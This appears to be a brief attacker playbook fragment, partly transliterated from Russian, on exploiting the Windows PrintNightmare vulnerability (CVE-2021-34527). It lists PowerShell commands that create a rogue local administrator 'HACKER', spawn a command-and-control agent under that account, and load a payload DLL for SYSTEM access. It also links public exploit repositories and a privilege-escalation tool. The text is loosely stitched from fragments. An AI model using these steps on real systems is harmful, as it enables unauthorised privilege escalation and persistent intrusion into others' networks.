powershell- import // import the file CVE-2021-34527.ps1

powershell Invoke-Nightmare -NewUser "HACKER" -NewPassword "PASSWORD" - DriverName "XeroxDriver" // create user HACKER with password PASSWORD, add to localadmins spawnas COMPNAME \ HACKER PASSWORD https // instead of https the listener name

The agent arrives from under our new local administrator There is also a chance to get the agent from under SYSTEM * , we do the following after import: Invoke-Nightmare -DLL "\ polniy \ put \ do \ payload.dll" https : //github.com/calebstewart/CVE-2021-1675

GitHub - JohnHammond/CVE-2021-34527

GitHub - Flangvik/DeployPrinterNightmare: C# tool for installing a shared network printer abusing the PrinterNightmare bug to allow other network machines easy privesc!

A Practical Guide to PrintNightmare in 2024

If you were to disable the Point and Print security prompts as described previously, you would allow users to install non package aware printer drivers, but you would also make the machine vulnerable to the original PrintNightmare exploit. This is documented in the KB article KB5005010.

Lots of PowerShell code in this one including bring your own print driver for local privesc